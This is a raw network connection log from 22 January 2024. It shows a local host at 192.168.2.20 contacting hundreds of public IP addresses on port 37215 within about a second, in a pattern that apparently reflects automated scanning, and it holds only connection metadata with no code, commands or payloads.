Jan 22, 2024 03:59:33.244632006 CET	58015	37215	192.168.2.20	197.79.115.54
Jan 22, 2024 03:59:33.244658947 CET	58015	37215	192.168.2.20	156.56.66.129
Jan 22, 2024 03:59:33.244684935 CET	58015	37215	192.168.2.20	197.145.4.45
Jan 22, 2024 03:59:33.244718075 CET	58015	37215	192.168.2.20	197.54.255.66
Jan 22, 2024 03:59:33.244745970 CET	58015	37215	192.168.2.20	154.182.183.65
Jan 22, 2024 03:59:33.244771957 CET	58015	37215	192.168.2.20	41.89.205.201
Jan 22, 2024 03:59:33.244802952 CET	58015	37215	192.168.2.20	197.7.69.234
Jan 22, 2024 03:59:33.244836092 CET	58015	37215	192.168.2.20	156.197.124.226
Jan 22, 2024 03:59:33.244882107 CET	58015	37215	192.168.2.20	186.58.175.8
Jan 22, 2024 03:59:33.244882107 CET	58015	37215	192.168.2.20	41.110.190.70
Jan 22, 2024 03:59:33.244926929 CET	58015	37215	192.168.2.20	197.29.90.36
Jan 22, 2024 03:59:33.244955063 CET	58015	37215	192.168.2.20	160.125.38.243
Jan 22, 2024 03:59:33.244988918 CET	58015	37215	192.168.2.20	41.84.240.97
Jan 22, 2024 03:59:33.245021105 CET	58015	37215	192.168.2.20	41.221.24.201
Jan 22, 2024 03:59:33.245035887 CET	58015	37215	192.168.2.20	41.37.26.75
Jan 22, 2024 03:59:33.245066881 CET	58015	37215	192.168.2.20	41.66.25.113
Jan 22, 2024 03:59:33.245096922 CET	58015	37215	192.168.2.20	156.229.189.220
Jan 22, 2024 03:59:33.245143890 CET	58015	37215	192.168.2.20	156.10.222.133
Jan 22, 2024 03:59:33.245145082 CET	58015	37215	192.168.2.20	197.92.218.194
Jan 22, 2024 03:59:33.245166063 CET	58015	37215	192.168.2.20	41.90.154.196
Jan 22, 2024 03:59:33.245206118 CET	58015	37215	192.168.2.20	197.84.156.78
Jan 22, 2024 03:59:33.245223045 CET	58015	37215	192.168.2.20	156.4.28.49
Jan 22, 2024 03:59:33.245260000 CET	58015	37215	192.168.2.20	138.81.233.32
Jan 22, 2024 03:59:33.245294094 CET	58015	37215	192.168.2.20	95.72.73.136
Jan 22, 2024 03:59:33.245313883 CET	58015	37215	192.168.2.20	107.235.218.8
Jan 22, 2024 03:59:33.245340109 CET	58015	37215	192.168.2.20	41.168.188.241
Jan 22, 2024 03:59:33.245372057 CET	58015	37215	192.168.2.20	156.154.149.215
Jan 22, 2024 03:59:33.245399952 CET	58015	37215	192.168.2.20	156.52.124.42
Jan 22, 2024 03:59:33.245426893 CET	58015	37215	192.168.2.20	197.249.57.184
Jan 22, 2024 03:59:33.245508909 CET	58015	37215	192.168.2.20	41.250.100.207
Jan 22, 2024 03:59:33.245536089 CET	58015	37215	192.168.2.20	41.166.65.54
Jan 22, 2024 03:59:33.245573044 CET	58015	37215	192.168.2.20	156.173.110.34
Jan 22, 2024 03:59:33.245593071 CET	58015	37215	192.168.2.20	156.49.65.221
Jan 22, 2024 03:59:33.245614052 CET	58015	37215	192.168.2.20	92.120.37.228
Jan 22, 2024 03:59:33.245644093 CET	58015	37215	192.168.2.20	154.253.232.80
Jan 22, 2024 03:59:33.245667934 CET	58015	37215	192.168.2.20	37.45.163.235
Jan 22, 2024 03:59:33.245697021 CET	58015	37215	192.168.2.20	197.76.215.197
Jan 22, 2024 03:59:33.245724916 CET	58015	37215	192.168.2.20	156.198.183.244
Jan 22, 2024 03:59:33.245748043 CET	58015	37215	192.168.2.20	197.155.121.246
Jan 22, 2024 03:59:33.245770931 CET	58015	37215	192.168.2.20	197.94.89.107
Jan 22, 2024 03:59:33.245806932 CET	58015	37215	192.168.2.20	45.13.140.243
Jan 22, 2024 03:59:33.245825052 CET	58015	37215	192.168.2.20	197.86.165.112
Jan 22, 2024 03:59:33.245862961 CET	58015	37215	192.168.2.20	222.213.108.175
Jan 22, 2024 03:59:33.245902061 CET	58015	37215	192.168.2.20	41.220.63.58
Jan 22, 2024 03:59:33.245920897 CET	58015	37215	192.168.2.20	156.214.183.78
Jan 22, 2024 03:59:33.245954037 CET	58015	37215	192.168.2.20	95.24.83.115
Jan 22, 2024 03:59:33.245982885 CET	58015	37215	192.168.2.20	95.73.73.40
Jan 22, 2024 03:59:33.246018887 CET	58015	37215	192.168.2.20	156.156.178.49
Jan 22, 2024 03:59:33.246030092 CET	58015	37215	192.168.2.20	156.194.115.137
Jan 22, 2024 03:59:33.246066093 CET	58015	37215	192.168.2.20	95.8.102.7
Jan 22, 2024 03:59:33.246083975 CET	58015	37215	192.168.2.20	41.4.147.80
Jan 22, 2024 03:59:33.246118069 CET	58015	37215	192.168.2.20	92.102.45.226
Jan 22, 2024 03:59:33.246170998 CET	58015	37215	192.168.2.20	156.22.213.242
Jan 22, 2024 03:59:33.246175051 CET	58015	37215	192.168.2.20	197.4.227.235
Jan 22, 2024 03:59:33.246196032 CET	58015	37215	192.168.2.20	102.147.190.53
Jan 22, 2024 03:59:33.246222973 CET	58015	37215	192.168.2.20	160.76.31.162
Jan 22, 2024 03:59:33.246251106 CET	58015	37215	192.168.2.20	41.183.243.209
Jan 22, 2024 03:59:33.246277094 CET	58015	37215	192.168.2.20	181.17.52.51
Jan 22, 2024 03:59:33.246304989 CET	58015	37215	192.168.2.20	197.104.69.16
Jan 22, 2024 03:59:33.246329069 CET	58015	37215	192.168.2.20	197.39.237.147
Jan 22, 2024 03:59:33.246370077 CET	58015	37215	192.168.2.20	197.37.70.172
Jan 22, 2024 03:59:33.246396065 CET	58015	37215	192.168.2.20	41.103.136.194
Jan 22, 2024 03:59:33.246422052 CET	58015	37215	192.168.2.20	41.119.54.19
Jan 22, 2024 03:59:33.246449947 CET	58015	37215	192.168.2.20	94.230.106.155
Jan 22, 2024 03:59:33.246478081 CET	58015	37215	192.168.2.20	197.187.153.219
Jan 22, 2024 03:59:33.246496916 CET	58015	37215	192.168.2.20	41.57.51.9
Jan 22, 2024 03:59:33.246531010 CET	58015	37215	192.168.2.20	186.42.126.94
Jan 22, 2024 03:59:33.246562004 CET	58015	37215	192.168.2.20	41.29.125.102
Jan 22, 2024 03:59:33.246592999 CET	58015	37215	192.168.2.20	41.148.199.144
Jan 22, 2024 03:59:33.246618986 CET	58015	37215	192.168.2.20	197.119.27.130
Jan 22, 2024 03:59:33.246649027 CET	58015	37215	192.168.2.20	102.60.123.203
Jan 22, 2024 03:59:33.246673107 CET	58015	37215	192.168.2.20	41.10.233.26
Jan 22, 2024 03:59:33.246705055 CET	58015	37215	192.168.2.20	181.85.137.36
Jan 22, 2024 03:59:33.246730089 CET	58015	37215	192.168.2.20	197.237.81.98
Jan 22, 2024 03:59:33.246757030 CET	58015	37215	192.168.2.20	156.149.244.204
Jan 22, 2024 03:59:33.246792078 CET	58015	37215	192.168.2.20	181.198.105.141
Jan 22, 2024 03:59:33.246819973 CET	58015	37215	192.168.2.20	41.141.202.184
Jan 22, 2024 03:59:33.246829033 CET	58015	37215	192.168.2.20	160.63.214.135
Jan 22, 2024 03:59:33.246855021 CET	58015	37215	192.168.2.20	41.134.158.4
Jan 22, 2024 03:59:33.246890068 CET	58015	37215	192.168.2.20	157.219.105.21
Jan 22, 2024 03:59:33.246917963 CET	58015	37215	192.168.2.20	197.213.66.150
Jan 22, 2024 03:59:33.246953964 CET	58015	37215	192.168.2.20	181.52.111.178
Jan 22, 2024 03:59:33.246992111 CET	58015	37215	192.168.2.20	102.189.206.185
Jan 22, 2024 03:59:33.247024059 CET	58015	37215	192.168.2.20	197.78.191.139
Jan 22, 2024 03:59:33.247055054 CET	58015	37215	192.168.2.20	190.46.242.84
Jan 22, 2024 03:59:33.247097969 CET	58015	37215	192.168.2.20	41.106.224.191
Jan 22, 2024 03:59:33.247112036 CET	58015	37215	192.168.2.20	197.100.90.136
Jan 22, 2024 03:59:33.247132063 CET	58015	37215	192.168.2.20	156.145.65.38
Jan 22, 2024 03:59:33.247159004 CET	58015	37215	192.168.2.20	196.174.219.242
Jan 22, 2024 03:59:33.247193098 CET	58015	37215	192.168.2.20	196.149.69.53
Jan 22, 2024 03:59:33.247215033 CET	58015	37215	192.168.2.20	197.151.17.116
Jan 22, 2024 03:59:33.247246027 CET	58015	37215	192.168.2.20	92.160.210.169
Jan 22, 2024 03:59:33.247266054 CET	58015	37215	192.168.2.20	41.12.36.82
Jan 22, 2024 03:59:33.247299910 CET	58015	37215	192.168.2.20	41.208.203.206
Jan 22, 2024 03:59:33.247327089 CET	58015	37215	192.168.2.20	41.199.157.247
Jan 22, 2024 03:59:33.247353077 CET	58015	37215	192.168.2.20	156.88.63.101
Jan 22, 2024 03:59:33.247383118 CET	58015	37215	192.168.2.20	41.95.143.59
Jan 22, 2024 03:59:33.247412920 CET	58015	37215	192.168.2.20	160.134.109.14
Jan 22, 2024 03:59:33.247442961 CET	58015	37215	192.168.2.20	197.22.234.1
Jan 22, 2024 03:59:33.247471094 CET	58015	37215	192.168.2.20	157.7.102.83
Jan 22, 2024 03:59:33.247498035 CET	58015	37215	192.168.2.20	156.93.237.195
Jan 22, 2024 03:59:33.247524023 CET	58015	37215	192.168.2.20	156.200.25.15
Jan 22, 2024 03:59:33.247545958 CET	58015	37215	192.168.2.20	190.66.43.190
Jan 22, 2024 03:59:33.247575045 CET	58015	37215	192.168.2.20	156.18.44.116
Jan 22, 2024 03:59:33.247615099 CET	58015	37215	192.168.2.20	197.80.25.195
Jan 22, 2024 03:59:33.247634888 CET	58015	37215	192.168.2.20	197.242.132.34
Jan 22, 2024 03:59:33.247662067 CET	58015	37215	192.168.2.20	222.226.220.164
Jan 22, 2024 03:59:33.247694969 CET	58015	37215	192.168.2.20	197.110.238.90
Jan 22, 2024 03:59:33.247721910 CET	58015	37215	192.168.2.20	156.67.22.7
Jan 22, 2024 03:59:33.247750044 CET	58015	37215	192.168.2.20	41.225.17.52
Jan 22, 2024 03:59:33.247785091 CET	58015	37215	192.168.2.20	197.133.42.242
Jan 22, 2024 03:59:33.247801065 CET	58015	37215	192.168.2.20	102.136.165.118
Jan 22, 2024 03:59:33.247829914 CET	58015	37215	192.168.2.20	197.246.138.130
Jan 22, 2024 03:59:33.247857094 CET	58015	37215	192.168.2.20	41.255.110.215
Jan 22, 2024 03:59:33.247884035 CET	58015	37215	192.168.2.20	156.79.124.17
Jan 22, 2024 03:59:33.247909069 CET	58015	37215	192.168.2.20	41.125.199.75
Jan 22, 2024 03:59:33.247936964 CET	58015	37215	192.168.2.20	94.169.97.233
Jan 22, 2024 03:59:33.247951984 CET	58015	37215	192.168.2.20	197.108.226.210
Jan 22, 2024 03:59:33.247982979 CET	58015	37215	192.168.2.20	120.212.113.172
Jan 22, 2024 03:59:33.248011112 CET	58015	37215	192.168.2.20	95.173.204.251
Jan 22, 2024 03:59:33.248040915 CET	58015	37215	192.168.2.20	186.219.138.252
Jan 22, 2024 03:59:33.248071909 CET	58015	37215	192.168.2.20	197.187.6.189
Jan 22, 2024 03:59:33.248105049 CET	58015	37215	192.168.2.20	95.128.14.227
Jan 22, 2024 03:59:33.248127937 CET	58015	37215	192.168.2.20	102.12.178.114
Jan 22, 2024 03:59:33.248158932 CET	58015	37215	192.168.2.20	156.43.78.161
Jan 22, 2024 03:59:33.248183012 CET	58015	37215	192.168.2.20	45.140.53.208
Jan 22, 2024 03:59:33.248213053 CET	58015	37215	192.168.2.20	41.158.118.252
Jan 22, 2024 03:59:33.248245955 CET	58015	37215	192.168.2.20	122.135.135.211
Jan 22, 2024 03:59:33.248261929 CET	58015	37215	192.168.2.20	41.68.164.137
Jan 22, 2024 03:59:33.248296022 CET	58015	37215	192.168.2.20	138.61.78.176
Jan 22, 2024 03:59:33.248322010 CET	58015	37215	192.168.2.20	41.207.166.196
Jan 22, 2024 03:59:33.248369932 CET	58015	37215	192.168.2.20	156.236.201.181
Jan 22, 2024 03:59:33.248377085 CET	58015	37215	192.168.2.20	156.34.34.197
Jan 22, 2024 03:59:33.248403072 CET	58015	37215	192.168.2.20	120.221.129.186
Jan 22, 2024 03:59:33.248434067 CET	58015	37215	192.168.2.20	92.81.163.18
Jan 22, 2024 03:59:33.248464108 CET	58015	37215	192.168.2.20	197.103.203.77
Jan 22, 2024 03:59:33.248506069 CET	58015	37215	192.168.2.20	197.220.238.47
Jan 22, 2024 03:59:33.248521090 CET	58015	37215	192.168.2.20	122.145.60.69
Jan 22, 2024 03:59:33.248545885 CET	58015	37215	192.168.2.20	197.130.251.20
Jan 22, 2024 03:59:33.248578072 CET	58015	37215	192.168.2.20	41.89.116.105
Jan 22, 2024 03:59:33.248600960 CET	58015	37215	192.168.2.20	197.242.78.100
Jan 22, 2024 03:59:33.248634100 CET	58015	37215	192.168.2.20	122.142.178.77
Jan 22, 2024 03:59:33.248661995 CET	58015	37215	192.168.2.20	156.10.16.207
Jan 22, 2024 03:59:33.248682976 CET	58015	37215	192.168.2.20	45.30.159.70
Jan 22, 2024 03:59:33.248722076 CET	58015	37215	192.168.2.20	197.17.175.108
Jan 22, 2024 03:59:33.248752117 CET	58015	37215	192.168.2.20	156.84.241.212
Jan 22, 2024 03:59:33.248770952 CET	58015	37215	192.168.2.20	186.83.226.19
Jan 22, 2024 03:59:33.248800039 CET	58015	37215	192.168.2.20	41.89.196.200
Jan 22, 2024 03:59:33.248831034 CET	58015	37215	192.168.2.20	41.175.103.33
Jan 22, 2024 03:59:33.248859882 CET	58015	37215	192.168.2.20	41.55.76.103
Jan 22, 2024 03:59:33.248897076 CET	58015	37215	192.168.2.20	120.200.53.222
Jan 22, 2024 03:59:33.248914003 CET	58015	37215	192.168.2.20	222.239.183.166
Jan 22, 2024 03:59:33.248931885 CET	58015	37215	192.168.2.20	156.209.82.142
Jan 22, 2024 03:59:33.248960018 CET	58015	37215	192.168.2.20	156.57.210.232
Jan 22, 2024 03:59:33.248986006 CET	58015	37215	192.168.2.20	41.114.170.74
Jan 22, 2024 03:59:33.249011993 CET	58015	37215	192.168.2.20	41.175.47.244
Jan 22, 2024 03:59:33.249047041 CET	58015	37215	192.168.2.20	156.2.214.136
Jan 22, 2024 03:59:33.249068022 CET	58015	37215	192.168.2.20	41.78.89.201
Jan 22, 2024 03:59:33.249098063 CET	58015	37215	192.168.2.20	156.166.127.83
Jan 22, 2024 03:59:33.249116898 CET	58015	37215	192.168.2.20	156.220.210.19
Jan 22, 2024 03:59:33.249159098 CET	58015	37215	192.168.2.20	197.115.82.217
Jan 22, 2024 03:59:33.249190092 CET	58015	37215	192.168.2.20	41.66.148.140
Jan 22, 2024 03:59:33.249216080 CET	58015	37215	192.168.2.20	156.49.179.44
Jan 22, 2024 03:59:33.249243975 CET	58015	37215	192.168.2.20	41.99.215.254
Jan 22, 2024 03:59:33.249265909 CET	58015	37215	192.168.2.20	94.108.9.78
Jan 22, 2024 03:59:33.249294043 CET	58015	37215	192.168.2.20	156.171.9.61
Jan 22, 2024 03:59:33.249315023 CET	58015	37215	192.168.2.20	156.185.96.146
Jan 22, 2024 03:59:33.249347925 CET	58015	37215	192.168.2.20	197.181.100.213
Jan 22, 2024 03:59:33.249367952 CET	58015	37215	192.168.2.20	160.60.135.11
Jan 22, 2024 03:59:33.249399900 CET	58015	37215	192.168.2.20	197.231.35.143
Jan 22, 2024 03:59:33.249428988 CET	58015	37215	192.168.2.20	156.9.157.32
Jan 22, 2024 03:59:33.249453068 CET	58015	37215	192.168.2.20	156.65.134.205
Jan 22, 2024 03:59:33.249480009 CET	58015	37215	192.168.2.20	197.192.29.10
Jan 22, 2024 03:59:33.249509096 CET	58015	37215	192.168.2.20	156.25.55.210
Jan 22, 2024 03:59:33.249541998 CET	58015	37215	192.168.2.20	186.18.131.234
Jan 22, 2024 03:59:33.249567032 CET	58015	37215	192.168.2.20	197.131.76.130
Jan 22, 2024 03:59:33.249607086 CET	58015	37215	192.168.2.20	156.14.113.149
Jan 22, 2024 03:59:33.249627113 CET	58015	37215	192.168.2.20	156.40.11.250
Jan 22, 2024 03:59:33.249653101 CET	58015	37215	192.168.2.20	41.165.74.21
Jan 22, 2024 03:59:33.249679089 CET	58015	37215	192.168.2.20	41.174.202.71
Jan 22, 2024 03:59:33.249700069 CET	58015	37215	192.168.2.20	197.117.252.32
Jan 22, 2024 03:59:33.249732018 CET	58015	37215	192.168.2.20	45.195.140.242
Jan 22, 2024 03:59:33.249763966 CET	58015	37215	192.168.2.20	156.77.224.101
Jan 22, 2024 03:59:33.249793053 CET	58015	37215	192.168.2.20	154.115.170.240
Jan 22, 2024 03:59:33.249824047 CET	58015	37215	192.168.2.20	107.0.239.12
Jan 22, 2024 03:59:33.249845028 CET	58015	37215	192.168.2.20	197.45.115.207
Jan 22, 2024 03:59:33.249878883 CET	58015	37215	192.168.2.20	94.144.164.52
Jan 22, 2024 03:59:33.249906063 CET	58015	37215	192.168.2.20	156.54.16.196
Jan 22, 2024 03:59:33.249946117 CET	58015	37215	192.168.2.20	197.32.20.129
Jan 22, 2024 03:59:33.249967098 CET	58015	37215	192.168.2.20	41.255.220.108
Jan 22, 2024 03:59:33.249986887 CET	58015	37215	192.168.2.20	190.159.94.49
Jan 22, 2024 03:59:33.250014067 CET	58015	37215	192.168.2.20	37.206.84.163
Jan 22, 2024 03:59:33.250047922 CET	58015	37215	192.168.2.20	156.31.245.205
Jan 22, 2024 03:59:33.250072956 CET	58015	37215	192.168.2.20	197.72.52.117
Jan 22, 2024 03:59:33.250102043 CET	58015	37215	192.168.2.20	197.222.220.228
Jan 22, 2024 03:59:33.250119925 CET	58015	37215	192.168.2.20	94.156.98.177
Jan 22, 2024 03:59:33.250152111 CET	58015	37215	192.168.2.20	156.63.74.33
Jan 22, 2024 03:59:33.250180006 CET	58015	37215	192.168.2.20	41.208.83.4
Jan 22, 2024 03:59:33.250209093 CET	58015	37215	192.168.2.20	156.173.113.21
Jan 22, 2024 03:59:33.250236034 CET	58015	37215	192.168.2.20	156.14.137.87
Jan 22, 2024 03:59:33.250263929 CET	58015	37215	192.168.2.20	41.179.28.129
Jan 22, 2024 03:59:33.250291109 CET	58015	37215	192.168.2.20	94.23.104.225
Jan 22, 2024 03:59:33.250324965 CET	58015	37215	192.168.2.20	197.22.2.123
Jan 22, 2024 03:59:33.250349998 CET	58015	37215	192.168.2.20	222.98.71.136
Jan 22, 2024 03:59:33.250380039 CET	58015	37215	192.168.2.20	197.94.108.118
Jan 22, 2024 03:59:33.250394106 CET	58015	37215	192.168.2.20	45.196.150.34
Jan 22, 2024 03:59:33.250428915 CET	58015	37215	192.168.2.20	95.130.77.146
Jan 22, 2024 03:59:33.250461102 CET	58015	37215	192.168.2.20	41.119.94.49
Jan 22, 2024 03:59:33.250483990 CET	58015	37215	192.168.2.20	122.16.208.214
Jan 22, 2024 03:59:33.250510931 CET	58015	37215	192.168.2.20	41.23.207.184
Jan 22, 2024 03:59:33.250531912 CET	58015	37215	192.168.2.20	41.50.8.235
Jan 22, 2024 03:59:33.250562906 CET	58015	37215	192.168.2.20	197.178.134.239
Jan 22, 2024 03:59:33.250590086 CET	58015	37215	192.168.2.20	196.150.21.33
Jan 22, 2024 03:59:33.250624895 CET	58015	37215	192.168.2.20	181.39.14.189
Jan 22, 2024 03:59:33.250649929 CET	58015	37215	192.168.2.20	156.100.182.237
Jan 22, 2024 03:59:33.250675917 CET	58015	37215	192.168.2.20	196.52.220.122
Jan 22, 2024 03:59:33.250720024 CET	58015	37215	192.168.2.20	45.201.156.149
Jan 22, 2024 03:59:33.250730038 CET	58015	37215	192.168.2.20	196.17.248.106
Jan 22, 2024 03:59:33.250763893 CET	58015	37215	192.168.2.20	156.23.214.50
Jan 22, 2024 03:59:33.250788927 CET	58015	37215	192.168.2.20	197.126.174.35
Jan 22, 2024 03:59:33.250818968 CET	58015	37215	192.168.2.20	41.191.20.125
Jan 22, 2024 03:59:33.250852108 CET	58015	37215	192.168.2.20	156.180.13.244
Jan 22, 2024 03:59:33.250881910 CET	58015	37215	192.168.2.20	197.185.216.177
Jan 22, 2024 03:59:33.250900030 CET	58015	37215	192.168.2.20	156.238.150.149
Jan 22, 2024 03:59:33.250933886 CET	58015	37215	192.168.2.20	156.24.158.115
Jan 22, 2024 03:59:33.250965118 CET	58015	37215	192.168.2.20	197.126.76.36
Jan 22, 2024 03:59:33.250988960 CET	58015	37215	192.168.2.20	41.195.12.73
Jan 22, 2024 03:59:33.251014948 CET	58015	37215	192.168.2.20	102.152.60.99
Jan 22, 2024 03:59:33.251034021 CET	58015	37215	192.168.2.20	41.72.223.221
Jan 22, 2024 03:59:33.251069069 CET	58015	37215	192.168.2.20	156.222.213.118
Jan 22, 2024 03:59:33.251225948 CET	40662	37215	192.168.2.20	156.73.166.227
Jan 22, 2024 03:59:33.251311064 CET	41242	37215	192.168.2.20	45.42.90.229
Jan 22, 2024 03:59:33.251398087 CET	34828	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:33.366714954 CET	37215	58015	156.73.184.243	192.168.2.20
Jan 22, 2024 03:59:33.367059946 CET	58015	37215	192.168.2.20	156.73.184.243
Jan 22, 2024 03:59:33.371459961 CET	37215	58015	45.196.150.34	192.168.2.20
Jan 22, 2024 03:59:33.426394939 CET	37215	41242	45.42.90.229	192.168.2.20
Jan 22, 2024 03:59:33.426772118 CET	58015	37215	192.168.2.20	102.152.155.188
Jan 22, 2024 03:59:33.426806927 CET	41242	37215	192.168.2.20	45.42.90.229
Jan 22, 2024 03:59:33.426827908 CET	58015	37215	192.168.2.20	41.64.126.82
Jan 22, 2024 03:59:33.426899910 CET	58015	37215	192.168.2.20	45.10.174.245
Jan 22, 2024 03:59:33.426975965 CET	58015	37215	192.168.2.20	197.91.240.238
Jan 22, 2024 03:59:33.427052021 CET	58015	37215	192.168.2.20	197.85.164.87
Jan 22, 2024 03:59:33.427124977 CET	58015	37215	192.168.2.20	197.241.205.174
Jan 22, 2024 03:59:33.427218914 CET	58015	37215	192.168.2.20	41.180.190.155
Jan 22, 2024 03:59:33.427278996 CET	58015	37215	192.168.2.20	94.220.166.185
Jan 22, 2024 03:59:33.427352905 CET	58015	37215	192.168.2.20	95.128.80.234
Jan 22, 2024 03:59:33.427414894 CET	58015	37215	192.168.2.20	156.223.233.152
Jan 22, 2024 03:59:33.427618027 CET	58015	37215	192.168.2.20	181.131.80.129
Jan 22, 2024 03:59:33.427651882 CET	58015	37215	192.168.2.20	197.181.108.174
Jan 22, 2024 03:59:33.427653074 CET	58015	37215	192.168.2.20	156.40.53.204
Jan 22, 2024 03:59:33.427673101 CET	58015	37215	192.168.2.20	156.43.173.189
Jan 22, 2024 03:59:33.427766085 CET	58015	37215	192.168.2.20	37.43.184.139
Jan 22, 2024 03:59:33.427803993 CET	58015	37215	192.168.2.20	197.194.156.204
Jan 22, 2024 03:59:33.427870989 CET	58015	37215	192.168.2.20	156.163.144.77
Jan 22, 2024 03:59:33.427946091 CET	58015	37215	192.168.2.20	120.178.0.205
Jan 22, 2024 03:59:33.428008080 CET	58015	37215	192.168.2.20	107.150.48.77
Jan 22, 2024 03:59:33.428092003 CET	58015	37215	192.168.2.20	120.221.27.190
Jan 22, 2024 03:59:33.428167105 CET	58015	37215	192.168.2.20	156.88.219.49
Jan 22, 2024 03:59:33.428234100 CET	58015	37215	192.168.2.20	95.242.12.97
Jan 22, 2024 03:59:33.428308010 CET	58015	37215	192.168.2.20	186.105.153.170
Jan 22, 2024 03:59:33.428379059 CET	58015	37215	192.168.2.20	156.150.155.112
Jan 22, 2024 03:59:33.428493023 CET	58015	37215	192.168.2.20	120.236.237.196
Jan 22, 2024 03:59:33.428699017 CET	58015	37215	192.168.2.20	190.243.250.184
Jan 22, 2024 03:59:33.428699017 CET	58015	37215	192.168.2.20	197.147.241.180
Jan 22, 2024 03:59:33.428714991 CET	58015	37215	192.168.2.20	222.61.58.111
Jan 22, 2024 03:59:33.428787947 CET	58015	37215	192.168.2.20	197.213.183.168
Jan 22, 2024 03:59:33.428879023 CET	58015	37215	192.168.2.20	138.76.210.23
Jan 22, 2024 03:59:33.428936005 CET	58015	37215	192.168.2.20	156.178.181.73
Jan 22, 2024 03:59:33.428998947 CET	58015	37215	192.168.2.20	95.219.23.115
Jan 22, 2024 03:59:33.429002047 CET	58015	37215	192.168.2.20	92.193.129.36
Jan 22, 2024 03:59:33.429065943 CET	58015	37215	192.168.2.20	41.102.88.189
Jan 22, 2024 03:59:33.429155111 CET	58015	37215	192.168.2.20	41.255.13.219
Jan 22, 2024 03:59:33.429239988 CET	58015	37215	192.168.2.20	197.194.230.55
Jan 22, 2024 03:59:33.429303885 CET	58015	37215	192.168.2.20	186.91.213.129
Jan 22, 2024 03:59:33.429387093 CET	58015	37215	192.168.2.20	197.247.90.22
Jan 22, 2024 03:59:33.429452896 CET	58015	37215	192.168.2.20	156.25.29.150
Jan 22, 2024 03:59:33.429510117 CET	58015	37215	192.168.2.20	190.249.136.229
Jan 22, 2024 03:59:33.429574966 CET	58015	37215	192.168.2.20	156.183.208.124
Jan 22, 2024 03:59:33.429645061 CET	58015	37215	192.168.2.20	156.58.80.112
Jan 22, 2024 03:59:33.429716110 CET	58015	37215	192.168.2.20	41.48.252.228
Jan 22, 2024 03:59:33.429779053 CET	58015	37215	192.168.2.20	121.230.101.168
Jan 22, 2024 03:59:33.429850101 CET	58015	37215	192.168.2.20	41.235.237.207
Jan 22, 2024 03:59:33.429918051 CET	58015	37215	192.168.2.20	154.182.97.74
Jan 22, 2024 03:59:33.429996014 CET	58015	37215	192.168.2.20	156.228.157.66
Jan 22, 2024 03:59:33.430067062 CET	58015	37215	192.168.2.20	41.37.180.8
Jan 22, 2024 03:59:33.430124044 CET	58015	37215	192.168.2.20	41.181.167.161
Jan 22, 2024 03:59:33.430187941 CET	58015	37215	192.168.2.20	186.185.159.184
Jan 22, 2024 03:59:33.430264950 CET	58015	37215	192.168.2.20	41.251.102.77
Jan 22, 2024 03:59:33.430351019 CET	58015	37215	192.168.2.20	41.67.119.13
Jan 22, 2024 03:59:33.430423975 CET	58015	37215	192.168.2.20	156.148.138.78
Jan 22, 2024 03:59:33.430511951 CET	58015	37215	192.168.2.20	120.8.22.18
Jan 22, 2024 03:59:33.430569887 CET	58015	37215	192.168.2.20	37.207.106.255
Jan 22, 2024 03:59:33.430639029 CET	58015	37215	192.168.2.20	41.119.61.32
Jan 22, 2024 03:59:33.430715084 CET	58015	37215	192.168.2.20	197.76.92.10
Jan 22, 2024 03:59:33.430771112 CET	58015	37215	192.168.2.20	156.118.90.98
Jan 22, 2024 03:59:33.430834055 CET	58015	37215	192.168.2.20	41.189.217.138
Jan 22, 2024 03:59:33.430911064 CET	58015	37215	192.168.2.20	37.220.101.65
Jan 22, 2024 03:59:33.430969954 CET	58015	37215	192.168.2.20	120.195.238.156
Jan 22, 2024 03:59:33.431041002 CET	58015	37215	192.168.2.20	197.10.79.18
Jan 22, 2024 03:59:33.431175947 CET	58015	37215	192.168.2.20	121.130.13.92
Jan 22, 2024 03:59:33.431236029 CET	58015	37215	192.168.2.20	160.133.158.48
Jan 22, 2024 03:59:33.431247950 CET	58015	37215	192.168.2.20	41.96.78.203
Jan 22, 2024 03:59:33.431305885 CET	58015	37215	192.168.2.20	45.25.195.76
Jan 22, 2024 03:59:33.431386948 CET	58015	37215	192.168.2.20	156.68.87.50
Jan 22, 2024 03:59:33.431471109 CET	58015	37215	192.168.2.20	197.104.13.201
Jan 22, 2024 03:59:33.431545973 CET	58015	37215	192.168.2.20	45.107.243.252
Jan 22, 2024 03:59:33.431623936 CET	58015	37215	192.168.2.20	197.223.189.18
Jan 22, 2024 03:59:33.431751013 CET	58015	37215	192.168.2.20	102.205.23.224
Jan 22, 2024 03:59:33.431823015 CET	58015	37215	192.168.2.20	156.255.204.165
Jan 22, 2024 03:59:33.431857109 CET	58015	37215	192.168.2.20	156.49.154.134
Jan 22, 2024 03:59:33.431879997 CET	58015	37215	192.168.2.20	122.69.167.201
Jan 22, 2024 03:59:33.431951046 CET	58015	37215	192.168.2.20	197.159.24.255
Jan 22, 2024 03:59:33.432023048 CET	58015	37215	192.168.2.20	156.51.63.110
Jan 22, 2024 03:59:33.432081938 CET	58015	37215	192.168.2.20	45.79.141.193
Jan 22, 2024 03:59:33.432148933 CET	58015	37215	192.168.2.20	156.159.4.5
Jan 22, 2024 03:59:33.432218075 CET	58015	37215	192.168.2.20	41.194.138.97
Jan 22, 2024 03:59:33.432284117 CET	58015	37215	192.168.2.20	45.7.131.218
Jan 22, 2024 03:59:33.432348967 CET	58015	37215	192.168.2.20	41.96.106.137
Jan 22, 2024 03:59:33.432410002 CET	58015	37215	192.168.2.20	41.203.134.228
Jan 22, 2024 03:59:33.432504892 CET	58015	37215	192.168.2.20	95.22.218.46
Jan 22, 2024 03:59:33.432593107 CET	58015	37215	192.168.2.20	41.156.105.229
Jan 22, 2024 03:59:33.432667971 CET	58015	37215	192.168.2.20	154.38.149.112
Jan 22, 2024 03:59:33.432734013 CET	58015	37215	192.168.2.20	156.81.133.160
Jan 22, 2024 03:59:33.432800055 CET	58015	37215	192.168.2.20	41.145.108.46
Jan 22, 2024 03:59:33.432868958 CET	58015	37215	192.168.2.20	196.33.137.215
Jan 22, 2024 03:59:33.432934046 CET	58015	37215	192.168.2.20	41.12.49.59
Jan 22, 2024 03:59:33.433010101 CET	58015	37215	192.168.2.20	92.147.62.98
Jan 22, 2024 03:59:33.433065891 CET	58015	37215	192.168.2.20	197.225.145.55
Jan 22, 2024 03:59:33.433132887 CET	58015	37215	192.168.2.20	156.127.92.161
Jan 22, 2024 03:59:33.433197975 CET	58015	37215	192.168.2.20	197.251.85.163
Jan 22, 2024 03:59:33.433258057 CET	58015	37215	192.168.2.20	197.208.96.152
Jan 22, 2024 03:59:33.433284044 CET	58015	37215	192.168.2.20	186.202.209.135
